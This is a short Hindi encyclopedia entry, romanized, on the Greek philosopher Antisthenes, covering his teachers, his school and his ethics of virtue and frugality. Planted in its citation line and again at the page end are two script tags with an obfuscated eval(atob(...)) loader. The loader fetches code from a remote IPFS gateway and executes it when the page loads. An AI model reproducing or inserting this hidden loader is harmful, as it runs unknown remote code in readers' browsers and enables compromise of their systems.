आंतिस्थेनीज़
aantistheniz (lagabhag ee.poo.455-360) etheans ke darshanik. aranbh mean inhoanne gaurgiyash, ek hippiyash aur praudikash se shiksha prapt ki, par aant mean ye sukarat ke bhakt ban ge. kinosagash namak sthan par inhoanne apana vidyalay sthapit kiya jahaan par pray: nirdhan logoan ko darshan ki shiksha di jati thi. ye sukh ka adhar sadavriti (arete) ko aur sadavriti ka adhar jnan ko manate the. ye yah bhi manate the ki sadavriti ki shiksha di ja sakati hai aur isake lie shabdoan ke artho ka anusandhan apekshit hai. ye adhikaansh sukhoan ko pravanchak manate the. ye kahate the ki keval shramotpadit sukh sthayi haian. atev ye ichchhaoan ko simit karane ka upadesh dete the. ye ek labada pahane rahate the aur ek dand aur khari apane pas rakhate the. inake anuyayi bhi aisa hi karane lage.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 328 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>